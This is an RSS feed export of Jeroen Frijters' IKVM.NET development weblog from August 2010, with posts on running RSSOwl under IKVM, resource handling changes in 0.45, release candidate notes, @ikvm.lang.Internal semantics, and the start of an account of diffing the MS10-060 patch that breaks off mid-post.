<?xml version="1.0" encoding="utf-8"?>
<rss xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:pingback="http://madskills.com/public/xml/rss/module/pingback/" version="2.0">
  <channel>
    <title>IKVM.NET Weblog</title>
    <link>http://weblog.ikvm.net/</link>
    <description>The development of a Java VM for .NET</description>
    <copyright>Jeroen Frijters</copyright>
    <lastBuildDate>Wed, 25 Aug 2010 10:27:23 GMT</lastBuildDate>
    <generator>newtelligence dasBlog 1.5.3337.0</generator>
    <managingEditor>blog@jeroen.nu</managingEditor>
    <webMaster>blog@jeroen.nu</webMaster>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      I recently upgraded my RSS reader from the older version I was still using to the
      current version. That turned out to be a mistake. The new version was even more broken
      than the old version, so I decided it was time to switch. I remembered <a href="http://www.rssowl.org/">RSSOwl</a> from <a href="http://lists.gnu.org/archive/html/classpath/2005-03/msg00149.html">several
      years ago</a> when I tested it on IKVM (it uses the Eclipse <a href="http://en.wikipedia.org/wiki/Standard_Widget_Toolkit">Standard
      Widget Toolkit</a>, so like Eclipse it was a good test app back when AWT support was
      completely useless).
   </p>
        <p>
      I downloaded the most recent version and played with it and it appeared to suit my
      needs. Of course, after I decided that I was going to start using it, I wanted to
      run it on IKVM and not in dynamic mode, but compiled with ikvmc. Fortunately, RSSOwl
      uses OSGi in much the same way as Eclipse, so I was able to reuse the work I did to
      get Eclipse to compile with ikvmc.
   </p>
        <p>
      To play along at home, follow these instructions (on Windows):
   </p>
        <ul>
          <li>
         Download <a href="http://downloads.sourceforge.net/rssowl/rssowl-2.0.5.win32.zip">rssowl-2.0.5.win32.zip</a>, <a href="http://www.frijters.net/ikvmbin-0.44.0.5.zip">ikvmbin-0.44.0.5.zip</a> and <a href="http://www.frijters.net/rssowl-clr.zip">rssowl-clr.zip</a> and
         put them all in the same directory.</li>
          <li>
         Open a Command Prompt and go to the directory where you downloaded the zip files.</li>
          <li>
         Run these commands:<br /><code>unzip rssowl-2.0.5.win32.zip</code><br /><code>cd rssowl</code><br /><code>unzip ..\ikvmbin-0.44.0.5.zip</code><br /><code>unzip ..\rssowl-clr.zip</code><br /><code>mk</code></li>
          <li>
         Start RSSOwl by running rssowl-clr.exe</li>
        </ul>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52" />
      </body>
      <title>Running RSSOwl on IKVM.NET</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</link>
      <pubDate>Wed, 25 Aug 2010 10:27:23 GMT</pubDate>
      <description>&lt;p&gt;
   I recently upgraded my RSS reader from the older version I was still using to the
   current version. That turned out to be a mistake. The new version was even more broken
   than the old version, so I decided it was time to switch. I remembered &lt;a href="http://www.rssowl.org/"&gt;RSSOwl&lt;/a&gt; from &lt;a href="http://lists.gnu.org/archive/html/classpath/2005-03/msg00149.html"&gt;several
   years ago&lt;/a&gt; when I tested it on IKVM (it uses the Eclipse &lt;a href="http://en.wikipedia.org/wiki/Standard_Widget_Toolkit"&gt;Standard
   Widget Toolkit&lt;/a&gt;, so like Eclipse it was a good test app back when AWT support was
   completely useless).
&lt;/p&gt;
&lt;p&gt;
   I downloaded the most recent version and played with it and it appeared to suit my
   needs. Of course, after I decided that I was going to start using it, I wanted to
   run it on IKVM and not in dynamic mode, but compiled with ikvmc. Fortunately, RSSOwl
   uses OSGi in much the same way as Eclipse, so I was able to reuse the work I did to
   get Eclipse to compile with ikvmc.
&lt;/p&gt;
&lt;p&gt;
   To play along at home, follow these instructions (on Windows):
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Download &lt;a href="http://downloads.sourceforge.net/rssowl/rssowl-2.0.5.win32.zip"&gt;rssowl-2.0.5.win32.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.5.zip"&gt;ikvmbin-0.44.0.5.zip&lt;/a&gt; and &lt;a href="http://www.frijters.net/rssowl-clr.zip"&gt;rssowl-clr.zip&lt;/a&gt; and
      put them all in the same directory.&lt;/li&gt;
   &lt;li&gt;
      Open a Command Prompt and go to the directory where you downloaded the zip files.&lt;/li&gt;
   &lt;li&gt;
      Run these commands:&lt;br&gt;
      &lt;code&gt;unzip rssowl-2.0.5.win32.zip&lt;/code&gt;
      &lt;br&gt;
      &lt;code&gt;cd rssowl&lt;/code&gt;
      &lt;br&gt;
      &lt;code&gt;unzip ..\ikvmbin-0.44.0.5.zip&lt;/code&gt;
      &lt;br&gt;
      &lt;code&gt;unzip ..\rssowl-clr.zip&lt;/code&gt;
      &lt;br&gt;
      &lt;code&gt;mk&lt;/code&gt;
   &lt;/li&gt;
   &lt;li&gt;
      Start RSSOwl by running rssowl-clr.exe&lt;/li&gt;
&lt;/ul&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=6c8de1ef-18dc-4c97-a4ff-4cffe52fce52</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      While the 0.44 release candidates have been baking, I've been working on 0.45. There
      are some interesting changes related to resource handling and stub classes.
   </p>
        <p>
          <strong>Resources</strong>
        </p>
        <p>
       Previously, if you looked at the URL returned by ClassLoader.getResource() for
      an ikvmc compiled assembly you see something ugly like this:
   </p>
        <p>
       ikvmres://IKVM.OpenJDK.Jdbc,%20Version=0.44.0.5,%20Culture=neutral,%20PublicKeyToken=13235d27fcbfff58/META-INF/services/java.sql.Driver
   </p>
        <p>
      Now with 0.45, you see:
   </p>
        <p>
      jar:file:/C:/.virtual-ikvm-home/assembly/IKVM.OpenJDK.Jdbc__0.45.3887.0__13235d27fcbfff58/resources/resources.jar!/META-INF/services/java.sql.Driver
   </p>
        <p>
      This is also a bit strange, because C:\.virtual-ikvm-home doesn't actually exist,
      but it is the IKVM Virtual File System directory that was introduced with the switch
      to OpenJDK, to facilitate the fact that OpenJDK likes to load lots of files from the
      installation directory.
   </p>
        <p>
      Starting with 0.45, the virtual file system is also used to load resources and stub
      classes. When you compile your jar with ikvmc, the resources in the jar will be copied
      into a new jar (usually with the same name) and that jar will be attached as a managed
      resource to the target assembly. This resource is projected into VFS and the normal
      Java resource loading mechanism is (more or less) used to load resources from the
      jar.
   </p>
        <p>
      This has two main advantages. The first is that this makes it more likely that Java
      code that makes various assumptions about being being able to explicitly open a resource
      jar, will work. The second is that this method of storing resources, usually results
      in smaller assemblies.
   </p>
        <p>
      Another benefit of this change is that I finally fixed the issue with ikvmc skipping
      resources due to name clashes. Previously there was only a single resource namespace
      per assembly, but now an assembly can contain multiple resource jars.
   </p>
        <p>
          <strong>Stub Classes</strong>
        </p>
        <p>
      Some Java code requires .class files for system classes. This is usually because they
      want to do dynamic code generation and Java's reflection isn't really good enough
      for that. For a long time IKVM has supported this by dynamically creating the .class
      files (in a runtime equivalent of ikvmstub) whenever code tried to load a resource
      that ended with .class and a corresponding type was found. This used the same ikvmres
      protocol mechanism as normal resources. With this snapshot, the stub classes have
      also moved to VFS. They are still generated on demand, but they are now accessible
      via the Java file IO APIs. This means that the sun.boot.class.path property can now
      point to VFS and that Java code, like javac, that depends on sun.boot.class.path will
      now work.
   </p>
        <p>
      You can now build a working javac.exe like this:
   </p>
        <p>
          <code>ikvmc -main:com.sun.tools.javac.Main -out:javac.exe -r:IKVM.OpenJDK.Tools.dll</code>
        </p>
        <p>
      The resulting javac.exe will be very small (4KB), because all the code is in IKVM.OpenJDK.Tools.dll
      (the equivalent of tools.jar).
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Fixed java.util.zip.Inflater to throw exception for corrupt zip files (<a href="http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36560">http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36560</a>). 
      </li>
          <li>
         Added the ability to nest ikvmc response files and added error handling to response
         file reading. 
      </li>
          <li>
         Made most ikvmc warnings local to the target that is being compiled (in multi target
         mode), to allow warnings to be suppressed (or turned into an error) for a specific
         target. 
      </li>
          <li>
         Added -writeSuppressWarningsFile:<FILE>
            ikvmc option. 
            <li>
               Added support for comment lines in ikvmc response files. 
            </li><li>
               Volker implemented Window.setMinimumSize(). 
            </li><li>
               Massive change to change resource handling. Java resources are now stored in jars
               that are stored as managed .NET resources. The jars are projected into VFS and the
               assembly class loaders know how to load resources from these jars. 
            </li><li>
               Volker added support for "My Computer" folder. 
            </li><li>
               Volker fixed a regression in Toolkit.createImage(ImageProducer). 
            </li><li>
               Fixed build to work when Mono isn't installed. 
            </li><li>
               Stub classes are now projected into VFS. 
            </li><li>
               Stub classes (as resources) are no longer generated if a resource with that name already
               exists in the assembly. 
            </li><li>
               System property "sun.boot.class.path" now points to stub classes in VFS. 
            </li><li>
               Removed the requirement to have peverify and ilasm in the PATH. They are now located
               automatically and if they are not found, the corresponding build steps are skipped. 
            </li><li>
               Separated managed and native build steps and made managed the default target. This
               allows doing a build with "nant" with just nant and JDK 1.6 in the PATH. 
            </li><li>
               Changed default build target to automatically generate a CommonAssemblyInfo.cs with
               todays build number. 
            </li><li>
               Fixed java.lang.ref.Reference to not store a strong reference to java.lang.Class objects,
               if class GC is enabled. Note that class GC is only available on .NET 4.0 and when
               IKVM is specifically built for .NET 4.0.</li></FILE></li>
        </ul>
        <p>
      Binaries available here: <a href="http://www.frijters.net/ikvmbin-0.45.3887.zip">ikvmbin-0.45.3887.zip</a></p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=ac6cfb6a-6138-4c36-895e-636c77242e39" />
      </body>
      <title>New Development Snapshot</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</link>
      <pubDate>Tue, 24 Aug 2010 06:32:03 GMT</pubDate>
      <description>&lt;p&gt;
   While the 0.44 release candidates have been baking, I've been working on 0.45. There
   are some interesting changes related to resource handling and stub classes.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Resources&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   &amp;nbsp;Previously, if you looked at the URL returned by ClassLoader.getResource() for
   an ikvmc compiled assembly you see something ugly like this:
&lt;/p&gt;
&lt;p&gt;
   &amp;nbsp;ikvmres://IKVM.OpenJDK.Jdbc,%20Version=0.44.0.5,%20Culture=neutral,%20PublicKeyToken=13235d27fcbfff58/META-INF/services/java.sql.Driver
&lt;/p&gt;
&lt;p&gt;
   Now with 0.45, you see:
&lt;/p&gt;
&lt;p&gt;
   jar:file:/C:/.virtual-ikvm-home/assembly/IKVM.OpenJDK.Jdbc__0.45.3887.0__13235d27fcbfff58/resources/resources.jar!/META-INF/services/java.sql.Driver
&lt;/p&gt;
&lt;p&gt;
   This is also a bit strange, because C:\.virtual-ikvm-home doesn't actually exist,
   but it is the IKVM Virtual File System directory that was introduced with the switch
   to OpenJDK, to facilitate the fact that OpenJDK likes to load lots of files from the
   installation directory.
&lt;/p&gt;
&lt;p&gt;
   Starting with 0.45, the virtual file system is also used to load resources and stub
   classes. When you compile your jar with ikvmc, the resources in the jar will be copied
   into a new jar (usually with the same name) and that jar will be attached as a managed
   resource to the target assembly. This resource is projected into VFS and the normal
   Java resource loading mechanism is (more or less) used to load resources from the
   jar.
&lt;/p&gt;
&lt;p&gt;
   This has two main advantages. The first is that this makes it more likely that Java
   code that makes various assumptions about being being able to explicitly open a resource
   jar, will work. The second is that this method of storing resources, usually results
   in smaller assemblies.
&lt;/p&gt;
&lt;p&gt;
   Another benefit of this change is that I finally fixed the issue with ikvmc skipping
   resources due to name clashes. Previously there was only a single resource namespace
   per assembly, but now an assembly can contain multiple resource jars.
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;Stub Classes&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   Some Java code requires .class files for system classes. This is usually because they
   want to do dynamic code generation and Java's reflection isn't really good enough
   for that. For a long time IKVM has supported this by dynamically creating the .class
   files (in a runtime equivalent of ikvmstub) whenever code tried to load a resource
   that ended with .class and a corresponding type was found. This used the same ikvmres
   protocol mechanism as normal resources. With this snapshot, the stub classes have
   also moved to VFS. They are still generated on demand, but they are now accessible
   via the Java file IO APIs. This means that the sun.boot.class.path property can now
   point to VFS and that Java code, like javac, that depends on sun.boot.class.path will
   now work.
&lt;/p&gt;
&lt;p&gt;
   You can now build a working javac.exe like this:
&lt;/p&gt;
&lt;p&gt;
   &lt;code&gt;ikvmc -main:com.sun.tools.javac.Main -out:javac.exe -r:IKVM.OpenJDK.Tools.dll&lt;/code&gt;
&lt;/p&gt;
&lt;p&gt;
   The resulting javac.exe will be very small (4KB), because all the code is in IKVM.OpenJDK.Tools.dll
   (the equivalent of tools.jar).
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Fixed java.util.zip.Inflater to throw exception for corrupt zip files (&lt;a href="http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36560"&gt;http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36560&lt;/a&gt;). 
   &lt;li&gt;
      Added the ability to nest ikvmc response files and added error handling to response
      file reading. 
   &lt;li&gt;
      Made most ikvmc warnings local to the target that is being compiled (in multi target
      mode), to allow warnings to be suppressed (or turned into an error) for a specific
      target. 
   &lt;li&gt;
      Added -writeSuppressWarningsFile:&lt;FILE&gt;
         ikvmc option. 
         &lt;li&gt;
            Added support for comment lines in ikvmc response files. 
         &lt;li&gt;
            Volker implemented Window.setMinimumSize(). 
         &lt;li&gt;
            Massive change to change resource handling. Java resources are now stored in jars
            that are stored as managed .NET resources. The jars are projected into VFS and the
            assembly class loaders know how to load resources from these jars. 
         &lt;li&gt;
            Volker added support for "My Computer" folder. 
         &lt;li&gt;
            Volker fixed a regression in Toolkit.createImage(ImageProducer). 
         &lt;li&gt;
            Fixed build to work when Mono isn't installed. 
         &lt;li&gt;
            Stub classes are now projected into VFS. 
         &lt;li&gt;
            Stub classes (as resources) are no longer generated if a resource with that name already
            exists in the assembly. 
         &lt;li&gt;
            System property "sun.boot.class.path" now points to stub classes in VFS. 
         &lt;li&gt;
            Removed the requirement to have peverify and ilasm in the PATH. They are now located
            automatically and if they are not found, the corresponding build steps are skipped. 
         &lt;li&gt;
            Separated managed and native build steps and made managed the default target. This
            allows doing a build with "nant" with just nant and JDK 1.6 in the PATH. 
         &lt;li&gt;
            Changed default build target to automatically generate a CommonAssemblyInfo.cs with
            todays build number. 
         &lt;li&gt;
            Fixed java.lang.ref.Reference to not store a strong reference to java.lang.Class objects,
            if class GC is enabled. Note that class GC is only available on .NET 4.0 and when
            IKVM is specifically built for .NET 4.0.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binaries available here: &lt;a href="http://www.frijters.net/ikvmbin-0.45.3887.zip"&gt;ikvmbin-0.45.3887.zip&lt;/a&gt;
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=ac6cfb6a-6138-4c36-895e-636c77242e39"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=ac6cfb6a-6138-4c36-895e-636c77242e39</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=98e652b2-d825-4270-8ad6-90c11b21933c</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=98e652b2-d825-4270-8ad6-90c11b21933c</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=98e652b2-d825-4270-8ad6-90c11b21933c</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=98e652b2-d825-4270-8ad6-90c11b21933c</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      Two more bug fixes and this will hopefully be the final release candidate.
   </p>
        <p>
      Changes:
   </p>
        <ul>
          <li>
         Changed version to 0.44.0.5</li>
          <li>
         Don't seal @Internal classes.</li>
          <li>
         Fixed bug <a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=3046925&amp;group_id=69637&amp;atid=525264">#3046925</a>.</li>
        </ul>
        <p>
      Binary available here: <a href="http://www.frijters.net/ikvmbin-0.44.0.5.zip">ikvmbin-0.44.0.5.zip</a></p>
        <p>
      Sources: <a href="http://www.frijters.net/ikvmsrc-0.44.0.5.zip">ikvmsrc-0.44.0.5.zip</a>, <a href="http://www.frijters.net/openjdk6-b18-stripped.zip">openjdk6-b18-stripped.zip</a></p>
        <p>
      The sources zip no longer contains any binaries. 
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=98e652b2-d825-4270-8ad6-90c11b21933c" />
      </body>
      <title>IKVM.NET 0.44 Release Candidate 5</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=98e652b2-d825-4270-8ad6-90c11b21933c</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=98e652b2-d825-4270-8ad6-90c11b21933c</link>
      <pubDate>Mon, 23 Aug 2010 04:35:29 GMT</pubDate>
      <description>&lt;p&gt;
   Two more bug fixes and this will hopefully be the final release candidate.
&lt;/p&gt;
&lt;p&gt;
   Changes:
&lt;/p&gt;
&lt;ul&gt;
   &lt;li&gt;
      Changed version to 0.44.0.5&lt;/li&gt;
   &lt;li&gt;
      Don't seal @Internal classes.&lt;/li&gt;
   &lt;li&gt;
      Fixed bug &lt;a href="https://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=3046925&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;#3046925&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
   Binary available here: &lt;a href="http://www.frijters.net/ikvmbin-0.44.0.5.zip"&gt;ikvmbin-0.44.0.5.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   Sources: &lt;a href="http://www.frijters.net/ikvmsrc-0.44.0.5.zip"&gt;ikvmsrc-0.44.0.5.zip&lt;/a&gt;, &lt;a href="http://www.frijters.net/openjdk6-b18-stripped.zip"&gt;openjdk6-b18-stripped.zip&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
   The sources zip no longer contains any binaries. 
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=98e652b2-d825-4270-8ad6-90c11b21933c"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=98e652b2-d825-4270-8ad6-90c11b21933c</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</wfw:commentRss>
      <slash:comments>0</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      A couple of days ago, Dawid Weiss <a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=3046925&amp;group_id=69637&amp;atid=525264">filed
      a bug</a> related to @ikvm.lang.Internal and while fixing the bug I realized that
      the feature has significantly evolved since its introduction, but that was never documented.
   </p>
        <p>
      I originally <a href="/PermaLink.aspx?guid=d4cb2ad2-fa1d-4ac1-83ec-1b222ea88e2e">introduced
      @ikvm.lang.Internal</a> as a relatively simple workaround for an annoying short coming
      of Java and mainly for my own convenience in writing the core class libraries, but
      when I added support <a href="http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx">InternalsVisibleAttribute</a> things
      became more complex.
   </p>
        <p>
      The support for InternalsVisibleToAttribute in itself is something that evolved from
      relatively weak to the current state of mostly working (there is still one known issue,
      where InternalsVisibleToAttribute annotations won't be recognized during a multi target
      build, but this isn't very high priority, because in the common cases ikvmc will automatically
      add (and recognize) the InternalVisibleToAttribute when needed during multi target
      compilation.)
   </p>
        <p>
          <strong>So what does @ikvm.lang.Internal do?</strong>
        </p>
        <p>
      It's actually still relatively simple: It marks a type or member as "internal". This
      means that its Java access modifiers will be ignored (even private members can be
      marked as internal) and that any other assembly that has access to the assembly's
      internals will be able to access it (in the case of members, you also need to be able
      to access to containing type, of course.)
   </p>
        <p>
      For members this looks a lot like the C# <a href="http://msdn.microsoft.com/en-us/library/7c5ka91b.aspx">internal</a> access
      modifier, but for types there is a significant difference to be aware of. From Java
      code in another assembly (that is designated by InternalsVisibleTo) you can only access
      types that are explicitly marked with @ikvm.lang.Internal, note that this is unlike
      C# where any non-nested type can be accessed.
   </p>
        <p>
      At runtime, when you use reflection to inspect a type or member marked with @ikvm.lang.Internal,
      it will appear as package accessible. When you use reflection to invoke, set or get
      a member, it will be treated as internal.
   </p>
        <p>
      I fixed the bug Dawid reported and also fixed the "effectively final" optimization
      to not mark classes with @ikvm.lang.Internal as final. The fixes will be in the next
      0.44 release candidate.
   </p>
        <img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=64846e48-801b-44db-87ca-a0a0d2ac4e0e" />
      </body>
      <title>@ikvm.lang.Internal Revisited</title>
      <guid>http://weblog.ikvm.net/PermaLink.aspx?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</guid>
      <link>http://weblog.ikvm.net/PermaLink.aspx?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</link>
      <pubDate>Wed, 18 Aug 2010 07:19:52 GMT</pubDate>
      <description>&lt;p&gt;
   A couple of days ago, Dawid Weiss &lt;a href="https://sourceforge.net/tracker/index.php?func=detail&amp;amp;aid=3046925&amp;amp;group_id=69637&amp;amp;atid=525264"&gt;filed
   a bug&lt;/a&gt; related to @ikvm.lang.Internal and while fixing the bug I realized that
   the feature has significantly evolved since its introduction, but that was never documented.
&lt;/p&gt;
&lt;p&gt;
   I originally &lt;a href="/PermaLink.aspx?guid=d4cb2ad2-fa1d-4ac1-83ec-1b222ea88e2e"&gt;introduced
   @ikvm.lang.Internal&lt;/a&gt; as a relatively simple workaround for an annoying short coming
   of Java and mainly for my own convenience in writing the core class libraries, but
   when I added support &lt;a href="http://msdn.microsoft.com/en-us/library/system.runtime.compilerservices.internalsvisibletoattribute.aspx"&gt;InternalsVisibleAttribute&lt;/a&gt; things
   became more complex.
&lt;/p&gt;
&lt;p&gt;
   The support for InternalsVisibleToAttribute in itself is something that evolved from
   relatively weak to the current state of mostly working (there is still one known issue,
   where InternalsVisibleToAttribute annotations won't be recognized during a multi target
   build, but this isn't very high priority, because in the common cases ikvmc will automatically
   add (and recognize) the InternalVisibleToAttribute when needed during multi target
   compilation.)
&lt;/p&gt;
&lt;p&gt;
   &lt;strong&gt;So what does @ikvm.lang.Internal do?&lt;/strong&gt;
&lt;/p&gt;
&lt;p&gt;
   It's actually still relatively simple: It marks a type or member as "internal". This
   means that its Java access modifiers will be ignored (even private members can be
   marked as internal) and that any other assembly that has access to the assembly's
   internals will be able to access it (in the case of members, you also need to be able
   to access to containing type, of course.)
&lt;/p&gt;
&lt;p&gt;
   For members this looks a lot like the C# &lt;a href="http://msdn.microsoft.com/en-us/library/7c5ka91b.aspx"&gt;internal&lt;/a&gt; access
   modifier, but for types there is a significant difference to be aware of. From Java
   code in another assembly (that is designated by InternalsVisibleTo) you can only access
   types that are explicitly marked with @ikvm.lang.Internal, note that this is unlike
   C# where any non-nested type can be accessed.
&lt;/p&gt;
&lt;p&gt;
   At runtime, when you use reflection to inspect a type or member marked with @ikvm.lang.Internal,
   it will appear as package accessible. When you use reflection to invoke, set or get
   a member, it will be treated as internal.
&lt;/p&gt;
&lt;p&gt;
   I fixed the bug Dawid reported and also fixed the "effectively final" optimization
   to not mark classes with @ikvm.lang.Internal as final. The fixes will be in the next
   0.44 release candidate.
&lt;/p&gt;
&lt;img width="0" height="0" src="http://weblog.ikvm.net/aggbug.ashx?id=64846e48-801b-44db-87ca-a0a0d2ac4e0e"&gt;</description>
      <comments>http://weblog.ikvm.net/CommentView.aspx?guid=64846e48-801b-44db-87ca-a0a0d2ac4e0e</comments>
    </item>
    <item>
      <trackback:ping>http://weblog.ikvm.net/Trackback.aspx?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</trackback:ping>
      <pingback:server>http://weblog.ikvm.net/pingback.aspx</pingback:server>
      <pingback:target>http://weblog.ikvm.net/PermaLink.aspx?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</pingback:target>
      <wfw:comment>http://weblog.ikvm.net/CommentView.aspx?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</wfw:comment>
      <wfw:commentRss>http://weblog.ikvm.net/SyndicationService.asmx/GetEntryCommentsRss?guid=c1e9440e-becc-41a4-bf2a-12c407f07737</wfw:commentRss>
      <slash:comments>2</slash:comments>
      <body xmlns="http://www.w3.org/1999/xhtml">
        <p>
      On Patch Tuesday, one of the patches Microsoft released was <a href="http://www.microsoft.com/technet/security/bulletin/ms10-060.mspx">MS10-060</a>.
      It addresses a Silverlight memory corruption and a CLR delegate issue. I was curious
      about the CLR delegate issue and decided to see if I could reverse engineer the patch
      to find the issue. Now, I'm not a professional security researcher or malware developer,
      so I don't have any good tools to do this. They have binary diffing tools that make
      it very easy to find the differences between the original file and the patched file.
      I was stuck with dumpbin /disasm to get the disassembled code for the two versions
      of the file, but I'm getting ahead of myself.
   </p>
        <p>
          <strong>Patch Contents</strong>
        </p>
        <p>
      In the <a href="http://support.microsoft.com/kb/983590">KB983590</a> article Microsoft
      helpfully describes all the files that are changed by the update. Looking through
      the list it is obvious that there are only two interesting files: mscorwks.dll and
      mscorlib. After running both the patched and unpatched versions of mscorlib.dll through
      ildasm it was obvious that there weren't any changes to mscorlib (other than the version
      number). So I had to focus on the unmanaged code side. I ran the patched and unpatched
      versions of mscorwks.dll through dumpbin /disasm and looked at the resulting files:
   </p>
        <pre>C:\j\ms10-060&gt;dir<br />
   Volume in drive C is 320GB_7200 Volume Serial Number is 0404-135D<br />
   Directory of C:\j\ms10-060<br />
   08/12/2010 08:36 &lt;DIR&gt; . 08/12/2010 08:36 &lt;DIR&gt; .. 05/21/2010 00:49 5,816,656
   mscorwks-ms10-060.dll 08/12/2010 08:28 5,157 mscorwks-ms10-060.headers 08/12/2010
   08:38 <span style="BACKGROUND-COLOR: yellow">118,871,231</span> mscorwks-ms10-060.lst
   06/10/2009 23:23 5,816,640 mscorwks-vuln.dll 08/12/2010 08:27 5,153 mscorwks-vuln.headers
   08/12/2010 08:35 118,827,088 mscorwks-vuln.lst 6 File(s) 249,341,925 bytes 2 Dir(s)
   105,945,309,184 bytes free</pre>
        <p>
      OK. So the file sizes are somewhat intimidating. I have the <a href="http://www.microsoft.com/whdc/devtools/debugging/debugstart.mspx">Microsoft
      symbol server</a> configured, so dumpbin helpfully provided the symbol names, so that
      makes navigating the files a lot easier. Given the description of the vulnerability,
      I first looked at how the JIT compiles the construction of a delegate and noticed
      that it calls the JIT_VirtualFunctionPointer method in mscorwks. I looked at that,
      but it was unmodified by the patch. I did a little more random browsing through the
      file but wasn't getting anywhere.
   </p>
        <p>
          <strong>The  Security Researcher</strong>
        </p>
        <p>
      On Wednesday I had gotten an e-mail from a security researcher that wanted to know
      if I had any details on the vulnerability. I told him I hadn't yet, but was very curious
